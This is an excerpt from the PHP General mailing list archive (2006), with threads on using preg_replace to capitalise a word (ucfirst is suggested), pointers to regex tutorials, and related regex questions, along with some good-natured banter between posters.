 I did RTFM, for hours, I always do before I post to the list. I just

I'd tell you to RTFM (although I did tell you to read the manual regarding
the specifics of using preg_replace()'s 'e' modifier after showing you a
working example of how to use it, based on your original code snippet)

I did berate the fact that you waited no more than 7 minutes before
sending a 'help me' reminder regarding your original post.

 missed all the answers in the fine manual this time. Cut me some slack.

cut you slack? are you a graphic designer or something?

 
 Where should I wire the Euros to?

my paypal account name is my email address :-)

 
 --PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php
 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace \\1 yIKES!

2006-06-14 Thread Stut

Jochem Maas wrote:

 I did berate the fact that you waited no more than 7 minutes before
 sending a 'help me' reminder regarding your original post.


While I agree with most of what you are saying, you may want to check 
that email again. Sams 'for Eyes burning...' email was in response to 
someone privately suggesing that he use ucfirst. It was *not* a 'help 
me' reminder, so drop that criticism please.


Aside from that, anyone who manages to miss ucfirst when R'ingTFM for 
this problem should RTFM some more.


-Stut

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace \\1 yIKES!

2006-06-14 Thread sam




And hey yo, Jochem,
I did RTFM, for hours, I always do before I post to the list. I just


I'd tell you to RTFM (although I did tell you to read the manual  
regarding
the specifics of using preg_replace()'s 'e' modifier after showing  
you a

working example of how to use it, based on your original code snippet)


Yes, I'm using your example right now to help me learn this  
preg_replace beast.


The php.net page on preg_replace was just to overwhelming for the  
exhausted state of mind I was in.



I did berate the fact that you waited no more than 7 minutes before
sending a 'help me' reminder regarding your original post.


No, that was a misunderstanding, I was just saying thanks to the guy  
who said, why not just use ulfirst(). (Which I also missed on the  
php.net page on strings.)




missed all the answers in the fine manual this time. Cut me some  
slack.


cut you slack? are you a graphic designer or something?


How did you know? I was 'in' graphics for 30 years before I threw my  
hands up at that lunatic world and decided to become a programmer.


I love the printing industry but ever since the Mac took over  
everybody went nuts. The printers are still mad, after 15 years, that  
the Mac took away their razor blades and rubylith.


Checks in the mail.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace \\1 yIKES!

2006-06-14 Thread Jochem Maas
Stut wrote:
 Jochem Maas wrote:
  I did berate the fact that you waited no more than 7 minutes before
  sending a 'help me' reminder regarding your original post.
 
 While I agree with most of what you are saying, you may want to check
 that email again. Sams 'for Eyes burning...' email was in response to
 someone privately suggesing that he use ucfirst. It was *not* a 'help
 me' reminder, so drop that criticism please.

consider it dropped - I didn't catch that it was a reply to an offlist post.

 
 Aside from that, anyone who manages to miss ucfirst when R'ingTFM for
 this problem should RTFM some more.
 
 -Stut
 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace \\1 yIKES!

2006-06-14 Thread tedd
At 3:45 AM -0700 6/14/06, sam wrote:
On Jun 13, 2006, at 1:58 PM, tedd wrote:

At 11:33 AM -0700 6/13/06, sam wrote:
Wow this is hard I can't wait till I get the hang of it.

Capitalize the first letter of a word.

Try:

?php
$word = yikes;
$word[0]=strtoupper($word[0]);
echo($word);
?


This blows my mind. What should one think, everything is an array? Well, 
okay not every but everything that's in linear consecutive order; anything 
that can be indexed?

I was trying to make an array from $word but explode() doesn't take an empty 
delimiter so I gave up and went for the preg_replace.

Sorry, it was a throwback to my C days -- using ucfist() is better.

tedd
-- 

http://sperling.com  http://ancientstones.com  http://earthstones.com

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace \\1 yIKES!

2006-06-13 Thread sam


for
Eyes burning; caffein shakes; project overdue

Thanks

Why not just use ucfirst http://us2.php.net/manual/en/ 
function.ucfirst.php?


-Original Message-
From: sam [mailto:[EMAIL PROTECTED]
Sent: Tuesday, June 13, 2006 2:34 PM
To: PHP
Subject: [PHP] preg_replace \\1 yIKES!


Wow this is hard I can't wait till I get the hang of it.

Capitalize the first letter of a word.

echo preg_replace('/(^)(.)(.*$)/', strtoupper('\\2') . '\\3',  
'yikes!');

// outputs yikes!

Nope didn't work.

So I want to see if I'm in the right place:

echo preg_replace('/(^)(.)(.*$)/', '\\1' . '-' . strtoupper('\\2') .
'-' . '\\3', 'yikes!');
//outputs -y-ikes!

So yea I've got it surrounded why now strtoupper: Yikes!

Thanks

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php







--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace \\1 yIKES!

2006-06-13 Thread Jochem Maas
sam wrote:
 
 Wow this is hard I can't wait till I get the hang of it.
 
 Capitalize the first letter of a word.
 
 echo preg_replace('/(^)(.)(.*$)/', strtoupper('\\2') . '\\3', 'yikes!');
 // outputs yikes!
 
 Nope didn't work.
 
 So I want to see if I'm in the right place:
 
 echo preg_replace('/(^)(.)(.*$)/', '\\1' . '-' . strtoupper('\\2') . '-'
 . '\\3', 'yikes!');
 //outputs -y-ikes!
 
 So yea I've got it surrounded why now strtoupper: Yikes!

to running strtoupper() on the string literal '\\2' which after it has been
capitalized will be '\\2'.

if you *really* want to use preg_replace():

echo preg_replace(/(^)(.)(.*\$)/e, \\\1\ . strtoupper(\\\2\) . \\\3\, 
yikes!),
 \n;

notice the 'e' modifier on the regexp - it causes the replace string to be 
treated as a string of php
code that is autoamtically evaluated - checvk the manual for more info.
(I used double quotes only so that I could test the code on the cmdline using 
'php -r')

...BUT I suggest you try this function instead: ucfirst()

 
 Thanks
 
 --PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php
 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace \\1 yIKES!

2006-06-13 Thread Jochem Maas
sam wrote:
 
 for
 Eyes burning; caffein shakes; project overdue

nobody here cares whether your project is overdue -

waiting 7 minutes before sending a 'reminder' about the
question you asked suggests you need to take a PATIENCE
lesson.

or did some fraudster sell you a php support contract?
... for 500 euros you can contact me anytime at [EMAIL PROTECTED]
for all you php woes :-P

 
 Thanks
 
 Why not just use ucfirst
 http://us2.php.net/manual/en/function.ucfirst.php?

 -Original Message-
 From: sam [mailto:[EMAIL PROTECTED]
 Sent: Tuesday, June 13, 2006 2:34 PM
 To: PHP
 Subject: [PHP] preg_replace \\1 yIKES!


 Wow this is hard I can't wait till I get the hang of it.

 Capitalize the first letter of a word.

 echo preg_replace('/(^)(.)(.*$)/', strtoupper('\\2') . '\\3', 'yikes!');
 // outputs yikes!

 Nope didn't work.

 So I want to see if I'm in the right place:

 echo preg_replace('/(^)(.)(.*$)/', '\\1' . '-' . strtoupper('\\2') .
 '-' . '\\3', 'yikes!');
 //outputs -y-ikes!

 So yea I've got it surrounded why now strtoupper: Yikes!

 Thanks

 --PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php





 
 --PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php
 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace \\1 yIKES!

2006-06-13 Thread Robert Cummings
On Tue, 2006-06-13 at 15:07, Jochem Maas wrote:
 sam wrote:
  
  for
  Eyes burning; caffein shakes; project overdue
 
 nobody here cares whether your project is overdue -
 
 waiting 7 minutes before sending a 'reminder' about the
 question you asked suggests you need to take a PATIENCE
 lesson.
 
 or did some fraudster sell you a php support contract?
 ... for 500 euros you can contact me anytime at [EMAIL PROTECTED]
 for all you php woes :-P

Oooh, GREAT IDEA!! *scribbles down into his notebook*

:B

Rob.
-- 
..
| InterJinn Application Framework - http://www.interjinn.com |
::
| An application and templating framework for PHP. Boasting  |
| a powerful, scalable system for accessing system services  |
| such as forms, properties, sessions, and caches. InterJinn |
| also provides an extremely flexible architecture for   |
| creating re-usable components quickly and easily.  |
`'

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace \\1 yIKES!

2006-06-13 Thread tedd
At 11:33 AM -0700 6/13/06, sam wrote:
Wow this is hard I can't wait till I get the hang of it.

Capitalize the first letter of a word.

Try:

?php
$word = yikes;
$word[0]=strtoupper($word[0]);
echo($word);
?

tedd
-- 

http://sperling.com  http://ancientstones.com  http://earthstones.com

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace \\1 yIKES!

2006-06-13 Thread Dave Goodchild

On 13/06/06, tedd [EMAIL PROTECTED] wrote:


At 11:33 AM -0700 6/13/06, sam wrote:
Wow this is hard I can't wait till I get the hang of it.

Capitalize the first letter of a word.

Why not use ucfirst(), that is what the function is for.
--


http://sperling.com  http://ancientstones.com  http://earthstones.com

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php





--
http://www.web-buddha.co.uk
http://www.projectkarma.co.uk


Re: [PHP] preg_replace learning resources? Regex tuts? Tips? (and yes, I have been rtfm)

2006-05-25 Thread Kevin Waterson
This one time, at band camp, Micky Hulse [EMAIL PROTECTED] wrote:

 Hi all,
 
 I have been rtfm on preg_replace, and I am a bit turned-off by how 
 complex reg-exing appears to be anyway, I would like to spend some 
 time learning how I would convert a file full of links that look like:

Try this quicky

http://phpro.org/tutorials/Introduction-to-PHP-Regular-Expressions.html

Kevin

-- 
Democracy is two wolves and a lamb voting on what to have for lunch. 
Liberty is a well-armed lamb contesting the vote.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace learning resources? Regex tuts? Tips? (and yes, I have been rtfm)

2006-05-25 Thread Micky Hulse

Koen Martens wrote:

You might be better off then by parsing the html file with DOM:

http://nl2.php.net/manual/en/ref.dom.php




Whoa, that is cool, I had no idea this was something PHP could do! 
Thanks for the links.  :D



Cheers,
Micky

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace learning resources? Regex tuts? Tips? (and yes, I have been rtfm)

2006-05-25 Thread Micky Hulse

Kevin Waterson wrote:

Try this quicky
http://phpro.org/tutorials/Introduction-to-PHP-Regular-Expressions.html 


Sweet, good links all. Thanks for sharing!  :)

Have a great day.

Cheers,
Micky

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace learning resources? Regex tuts? Tips? (and yes, I have been rtfm)

2006-05-25 Thread Eric Butera

On 5/25/06, Micky Hulse [EMAIL PROTECTED] wrote:

Kevin Waterson wrote:
 Try this quicky
 http://phpro.org/tutorials/Introduction-to-PHP-Regular-Expressions.html

Sweet, good links all. Thanks for sharing!  :)

Have a great day.

Cheers,
Micky

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




I built something similar to the situation that you are describing.
One difference though is I used preg_replace_callback
(http://us2.php.net/preg_replace_callback) so that I can do custom
scripting with the matched string to be replaced.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace learning resources? Regex tuts? Tips? (and yes, I have been rtfm)

2006-05-25 Thread Adam Zey

Eric Butera wrote:

On 5/25/06, Micky Hulse [EMAIL PROTECTED] wrote:


Kevin Waterson wrote:
 Try this quicky
 http://phpro.org/tutorials/Introduction-to-PHP-Regular-Expressions.html

Sweet, good links all. Thanks for sharing!  :)

Have a great day.

Cheers,
Micky

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




I built something similar to the situation that you are describing.
One difference though is I used preg_replace_callback
(http://us2.php.net/preg_replace_callback) so that I can do custom
scripting with the matched string to be replaced.


I know I'm entering this discussion a bit late, but one tool that I've 
found indispensible in writing regular expressions (even after knowing 
how to write them) is The Regex Coach (http://www.weitz.de/regex-coach) 
(Free, and runs on Windows and Linux).


Essentially, you paste the text to search into the bottom textbox, and 
then start typing your regular expression into the top one. As you type, 
it shows you what it is matching in the bottom one. It can also show you 
what individual submatches are matching, and all sorts of neat stuff. 
So, if I have an HTML web page and I want to suck some specific 
information out of it, I'll paste the information in, write up a regex, 
and make sure it's matching what it's supposed to. But the feedback AS 
you're typing it is super handy. For example, if I have a regex, and I 
add a [a-z], then the indicator will show it matching the next 
character, then if I add *, the text selection will expand to show it 
matching the rest of the letters, and so on.


Anyhow, I find the feedback as I write a regex to be addictively useful.

Regards, Adam Zey.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace learning resources? Regex tuts? Tips? (and yes, I have been rtfm)

2006-05-24 Thread Micky Hulse

Micky Hulse wrote:
Any good links to tutorials and/or resources that teach one how to scrub 
urls with PHP and regex?


Ah, missed this in the comment section of the manual:

http://www.tote-taste.de/X-Project/regex/index.php

Looks like a good place to start.  :)

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace learning resources? Regex tuts? Tips? (and yes, I have been rtfm)

2006-05-24 Thread Ryan A


--- Micky Hulse [EMAIL PROTECTED] wrote:

 Micky Hulse wrote:
  Any good links to tutorials and/or resources that
 teach one how to scrub 
  urls with PHP and regex?
 

Hey,
Am learning from here:

http://weblogtoolscollection.com/regex/regex.php

found it via google

(note: Am in NO way connected to that site)

HTHs...Cheers,
Ryan


--
- The faulty interface lies between the chair and the keyboard.
- Creativity is great, but plagiarism is faster!
- Smile, everyone loves a moron. :-)

__
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace learning resources? Regex tuts? Tips? (and yes, I have been rtfm)

2006-05-24 Thread Micky Hulse

Ryan A wrote:

http://weblogtoolscollection.com/regex/regex.php
HTHs...Cheers,


Yeah, looks like a great resource, thanks!  :)

Cheers,
m

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace problem (or possibly bug)

2006-03-08 Thread Anthony Ettinger
On 3/8/06, Michael [EMAIL PROTECTED] wrote:
 I am currently writing a forum system, but at the moment I have a bug
 that no one can seem to get to the root cause of. Basically I am using
 preg_replace with the pattern as '\[url=(.*?)\](.*?)\[/url\]'is.
 However for most links it works fine but for others it just doesn't
 render the bbcode to a link, we were trying to get to the root cause
 of it here 
 http://michael-m.co.uk/forums/index.php?action=view_topicid=31page=1
 but we failed. I'm not really that good with regular expresions so
 that might explain why. Also we had never noticed these problems until
 about 3 days ago, but I see no reason why it could have started. All
 help will be greatly appreciated, you may use the username php and the
 password php to log on to do your own tests but please keep the
 testing to the topic (and the spam forum if necessary).

 Many Thanks,
 Michael Mulqueen
 michael-m.co.uk

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php





Is the last / interferring? Might want to try \[\/url\], in most regex
engines / is used as the separater between the s/search/replace/si;





--
Anthony Ettinger
Signature: http://chovy.dyndns.org/hcard.html

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace problem

2006-03-01 Thread Chris

Benjamin Adams wrote:

$file = dog.txt;
$today = date(Ymd);

function incDate($new, $date){
//$date = settype('int');
return $new.($date++);
}

$getOldValue = parse_ini_file($file, 1);
$newValue = $getOldValue[$today] + 1;
$oldDate = $today .  = . $newValue;
$newDate = preg_replace('/(\d+\s\=\s)(\d+)/ie', 'incDate($1,$2)',  
$oldDate);

file_put_contents($file, $newDate . \n);

This works with one file but with multi lines I'm having trouble:
if the file has:
20060301 = 34
20060302 = 3
the file after script will be:
20060302 = 4

I want it to preserve the previous lines
so output should be:
20060301 = 34
20060302 = 4

Help would be great, thanks
Ben


The easiest way would be to get incDate to add the newline back on the end.

You could also try:

preg_replace('/(\d+\s\=\s)(\d+)/ie', 'incDate($1,$2)' . \n, $oldDate);

--
Postgresql  php tutorials
http://www.designmagick.com/

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace - I don't have a clue

2006-01-13 Thread Anthony Best
On 1/12/06, Frank Bax [EMAIL PROTECTED] wrote:

 reg_replace( '  (\d+\$)', '+$0', $prop );   /* results in
 dollar-alpha-space-space-plus-digits-dollar */
 $Fencing  +11$Lumber  +17$Weight: 317 Stones$Energy Resist 2%$



Try:
preg_replace( '/ (\d+\$)/', '+$1', $prop );



--
Anthony Best


Re: [PHP] preg_replace - I don't have a clue

2006-01-13 Thread Frank Bax

At 05:15 PM 1/13/06, Anthony Best wrote:


On 1/12/06, Frank Bax [EMAIL PROTECTED] wrote:

 reg_replace( '  (\d+\$)', '+$0', $prop );   /* results in
 dollar-alpha-space-space-plus-digits-dollar */
 $Fencing  +11$Lumber  +17$Weight: 317 Stones$Energy Resist 2%$

Try:
preg_replace( '/ (\d+\$)/', '+$1', $prop );



Thanks!!  That did it. 


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace single quote

2005-08-03 Thread Psystorm

Paul Nowosielski wrote:


Hi All,

I'm trying to strip single quotes using preg_replace() with no luck.
Can someone give me some advice on achieving this?

TIA!

 


$string = preg_replace('/\'/', '', $string);

should work fine

Kind regards,
Thomas Obermüller

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace with rawurlencoded?

2005-03-21 Thread Richard Lynch




On Fri, March 18, 2005 8:18 am, BlackDex said:
 I have a litle problem with replaceing a string in some HTML code.

 the html code is:
 ---
 img width=240 height=180
 src=01%20-%20Raptor%20AMD%20Sempron_image001.jpg
 ---

 I want to change the 01%20-%20Raptor%20AMD%20Sempron_image001.jpg
 becouse
 the location of the file will be changed after the upload.

 the location for instains will be
 /images/uploaded/01%20-%20Raptor%20AMD%20Sempron_image001.jpg

$html = str_replace('src=', src=/images/uploaded/', $html);

-- 
Like Music?
http://l-i-e.com/artists.htm

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace question

2004-09-13 Thread Burhan Khalid
Zoran Lorkovic wrote:
Btw, where I can find patterns that are valid?
(something like (\w+), (\d+)+i etc.
http://www.php.net/manual/en/reference.pcre.pattern.syntax.php
http://www.php.net/manual/en/reference.pcre.pattern.modifiers.php
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] preg_replace question

2004-09-09 Thread John Holmes
Zoran Lorkovic wrote:
Sorry for issuing this again, but I need help with preg_replace. I manage to replace certain text between 
b/b in text with preg_replace but I want for every other b/b to be replaced by 
other text.
By this I mean when some text between b/b has been found that text is replaced with some Text, 
on second match, text between b/b is replaced by some other different text etc.
Btw, where I can find patterns that are valid?
(something like (\w+), (\d+)+i etc.
Use preg_replace_callback() with a static variable within the callback 
function. Increment the variable each time the function is called and 
then based upon whether it's odd or even, substitute the appropriate 
string.

--
---John Holmes...
Amazon Wishlist: www.amazon.com/o/registry/3BEXC84AB3A5E/
php|architect: The Magazine for PHP Professionals  www.phparch.com
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] preg_replace to delete all js code in string help needed

2004-05-09 Thread Curt Zirzow
* Thus wrote Dave Carrera ([EMAIL PROTECTED]):
 $text2 = preg_replace(/script[^]+.*?\/script/is,,$text2);
 
 Leaves output with language=javascript blah blah

I tested that and it strips the script tags with language too. I
do know that it will not strip script tags that have no attributes:
   script var yada;... /script

This will fix that though:
   /script[^]*?.*?\/script/is

   or
   !script[^]*.*/script!/isU


Curt
-- 
I used to think I was indecisive, but now I'm not so sure.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace Guru question

2003-11-27 Thread Justin French
On Friday, November 28, 2003, at 12:17  AM, pete M wrote:

What Preg_replace code would I need to highlight all the code within  
the script   /script tags in red.. (case insensitive)

What I want is a  view_source.php page to highlight the javascript for  
a tutorial I'm writing. Can view the source ok but need to highlight  
the code.	

Not a regular expression expert ;-(
UNTESTED:

?
$old = before before
script type='text/javascript'
function foo()
{
// bah
}
/script
after after;
// i assume the source will have htmlentities applied...
$old = htmlentities($old);
// ...therefore we need to match on lt; and gt; rather than  and 
$new =  
preg_replace('/lt;script(.*?)gt;(.*?)lt;\/scriptgt;/ 
s','lt;script\\1gt;span  
style=color:red;\\2/spanlt;/scriptgt;',$old);

echo pre{$new}/pre;
?
season to taste :)

Justin French

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] preg_replace ^M

2003-11-06 Thread Marek Kilimajer
Those are \r characters from dos newline (\r\n). Generally they are not 
harmful and many editors can work with them without problems (vim). You 
can use some utility commands to convert to or from dos or unix newlines.

Torsten Rosenberger wrote:
Hello

i try to replace a string in a file 
but if i have linefeeds in the string
the output file after the replacement has 
^M carachters in in

if the $replacements[] = test; has no \n in it 
all is OK

$fp = fopen (draft.html, r);
$incont = fread ($fp,filesize(draft.html));
fclose ($fp);
$patterns[] = /\[CONTENT\]/;
$replacements[] = test\nout;
$content = preg_replace ($patterns,$replacements,$incont);

$fp = fopen (out.html,w);
fputs ($fp, $content);
fclose($fp);
draft.html looks like:

form method=post

[CONTENT]

/form

the out put get ugly ^M

form method=post
^M
SERAVS
 toro^M
^M
/form^M
BR/Torsten

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] preg_replace ^M

2003-11-06 Thread Torsten Rosenberger
Hello

 Those are \r characters from dos newline (\r\n). Generally they are not 
 harmful and many editors can work with them without problems (vim). You 
 can use some utility commands to convert to or from dos or unix newlines.

But i'm working under Linux.

I made a test with HTML Template IT and addBlockfile
and thats the same.

i fetched the content with tpl-get()
and wrote it to a file the same 

form method=post action=^M
^M
^M
hr
Tmbp
^M
^M
/form^M


BR/Torsten

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace ^M

2003-11-06 Thread CPT John W. Holmes
From: Torsten Rosenberger [EMAIL PROTECTED]

 i try to replace a string in a file
 but if i have linefeeds in the string
 the output file after the replacement has
 ^M carachters in in

Some text editors will display \r as ^M. So, if you're file uses \r\n as the
newline, you'll see these ^M at the end of each line. Using a different text
editor or adjusting the properties of the one you've got should fix this.

Either way, they shouldn't be visible on the actual PHP/HTML page when
viewed over the web. this is an editor issue, not a PHP one, really.

---John Holmes...

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace ^M

2003-11-06 Thread CPT John W. Holmes
From: Torsten Rosenberger [EMAIL PROTECTED]

  Those are \r characters from dos newline (\r\n). Generally they are not
  harmful and many editors can work with them without problems (vim). You
  can use some utility commands to convert to or from dos or unix
newlines.

 But i'm working under Linux.

Doesn't matter...

 I made a test with HTML Template IT and addBlockfile
 and thats the same.

So that program is writing \r\n as the newline instead of just \n. It's
still just your editor that's displaying the ^M. Maybe you should get a new
editor.

---John Holmes...

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace ^M

2003-11-06 Thread Torsten Rosenberger

 So that program is writing \r\n as the newline instead of just \n. It's
 still just your editor that's displaying the ^M. Maybe you should get a new
 editor.
i use vim

and the input file don't have \r\n they look normal in vim
after the preg_replace in php then they have the ^M 

BR/Torsten

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace ^M

2003-11-06 Thread David T-G
Torsten, et al --

...and then Torsten Rosenberger said...
% 
%  So that program is writing \r\n as the newline instead of just \n. It's
%  still just your editor that's displaying the ^M. Maybe you should get a new
%  editor.
% i use vim

Good :-)


% 
% and the input file don't have \r\n they look normal in vim
% after the preg_replace in php then they have the ^M 

I suspect that you have a DOS format file which, after replacement, has
a line with only \n (no \r) which makes it a UNIX format file -- with
lots of extra \r chars in there.

Open your source file with vim.  Type

  :set fileformat

and hit return and see what it says (my bet is 'dos').  Type

  :set fileformat=unix
  :wq!

and then run your script again and check the output (my bet is no more ^M
chars).


% 
% BR/Torsten


HTH  HAND

:-D
-- 
David T-G  * There is too much animal courage in 
(play) [EMAIL PROTECTED] * society and not sufficient moral courage.
(work) [EMAIL PROTECTED]  -- Mary Baker Eddy, Science and Health
http://justpickone.org/davidtg/  Shpx gur Pbzzhavpngvbaf Qrprapl Npg!



pgp0.pgp
Description: PGP signature


Re: [PHP] preg_replace ^M

2003-11-06 Thread Christophe Chisogne
Torsten Rosenberger wrote:
^M carachters in in
Classical pblm of representing end of line in text files between OS:
windows uses \r\n aka CRNL
*nixuses \n   aka NL (newline)
mac uses \r   aka CR (carriage return)
Good text editors dont care (win: wordpad, not notepad) and can
convert while reading/writing (emacs, vim, etc). --not sur for mac way.
Use hex editor to know for sure what is 'the' newline char.
\r is 0D in hex
\n is 0A in hex
$ hexdump -C file.txt | head -20

In your case, the src file contains \r\n or the file is written
in text mode on a windows server, most probably.
$fp = fopen (draft.html, r);
$incont = fread ($fp,filesize(draft.html));
(...)
$fp = fopen (out.html,w);
fputs ($fp, $content);
the out put get ugly ^M
With files _in_text_mode_ (see flags of fopen), the \n char in PHP
is virtual : following OS, PHP version, it can be written as
\r, \r\n or \n. Either use non portable t flag on windows to make
transparent \r\n -- \n translations, or better always use files in
_binary_ mode and choose yourself your eol char (\n is simpler).
The latter will improve portability. See php official doc
http://www.php.net/manual/en/function.fopen.php

FYI: Perl also use a 'virtual' \n char, and that can cause problems.
Most of Internet protocols use \r\n as line separators, and sending
only \n is asking for trouble soon or later... See perlport(1)
Specific info for vim:
:help dos-file-formats
vim -b file.txt (read in binary mode, eol is always \n)
:set ff=dos   (read any, write \r\n)
:set ff=unix  (read dos, write \n)
Not using emacs often enough to provide same info. Someone here ?
It also does right things automatically, but dont know
shortcuts or functions to alter that correct behavirou ;-)
Hope it helps,

Christophe

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] preg_replace newb

2003-10-13 Thread Mohamed Lrhazi
I would try a petern like this:

$pattern=!a href='([^]*)'([^]*)/a!

check the docs for greedy not greedy thingy...

Mohamed~

On Mon, 2003-10-13 at 06:27, Justin French wrote:
 Hi,
 
 Trying to get this working, without any luck:
 
 $str = preg_replace(!a 
 href='(.*?)'(.*?)/a!,'{link|\\2|\\1}',$str);
 
 FWIW, I'm aware that this doesn't ANY WHERE NEAR cover all instances of 
 a link, but in this case, I KNOW that the link will have the above 
 format, because it was generated by another PHP script I wrote.
 
 Any hints?
 
 Justin

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace newb

2003-10-13 Thread Justin French
Mohamed,

I still can't seem to get it working:

?
$str = a href='somewhere/else.html'foo/a;
$str = preg_replace(!a href='([^]*)'([^]*)/a!,'blah',$str);
echo $str;
?
echo's 'a href='somewhere/else.html'foo/a' rather than 'blah'

Justin

On Monday, October 13, 2003, at 10:17  PM, Mohamed Lrhazi wrote:

I would try a petern like this:

$pattern=!a href='([^]*)'([^]*)/a!

check the docs for greedy not greedy thingy...
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] preg_replace newb

2003-10-13 Thread Eugene Lee
On Mon, Oct 13, 2003 at 11:00:36PM +1000, Justin French wrote:
: 
: On Monday, October 13, 2003, at 10:17  PM, Mohamed Lrhazi wrote:
: 
: I would try a petern like this:
: 
: $pattern=!a href='([^]*)'([^]*)/a!
: 
: check the docs for greedy not greedy thingy...
: 
: Mohamed,
: 
: I still can't seem to get it working:
: 
: ?
: $str = a href='somewhere/else.html'foo/a;
: $str = preg_replace(!a href='([^]*)'([^]*)/a!,'blah',$str);
: echo $str;
: ?
: 
: echo's 'a href='somewhere/else.html'foo/a' rather than 'blah'

Justin,

Your code snippet works for me.  My output says blah.  :-)

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preg_replace help please

2003-09-24 Thread John W. Holmes
Justin French wrote:
this is supposed to any occurrence of *something* into 
strongsomething/strong

$str = preg_replace(!\*(.*?)\*!, strong\\1/strong\\2,$str);

it works fine on single lines, but it breaks when there's a \n (and 
perhaps other white spaces?) in the string, eg:

*something with
a newline*
I think this is because .*? doesn't include newlines... can anyopne help 
me modify the above to work on multiple lines
Yes, that's the reason. Use an 's' modifier to make the dot character 
match newlines. It's all in the F manual. :)

$str = preg_replace(!\*(.*?)\*!s, strong\\1/strong\\2,$str);

--
---John Holmes...
Amazon Wishlist: www.amazon.com/o/registry/3BEXC84AB3A5E/

php|architect: The Magazine for PHP Professionals  www.phparch.com

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] preg_replace question

2003-09-20 Thread Jim Lucas
$arr = array(/([^\][^\/][^h][^1-6].{1}[^\])\r\n/,
 /([^\][^\/][^h][^1-6].{1}[^\])\r/,
 /([^\][^\/][^h][^1-6].{1}[^\])\n/,
 );

$text = preg_replace($arr,\\1br  /,$text);

you might try this and see how well it works.

Jim Lucas


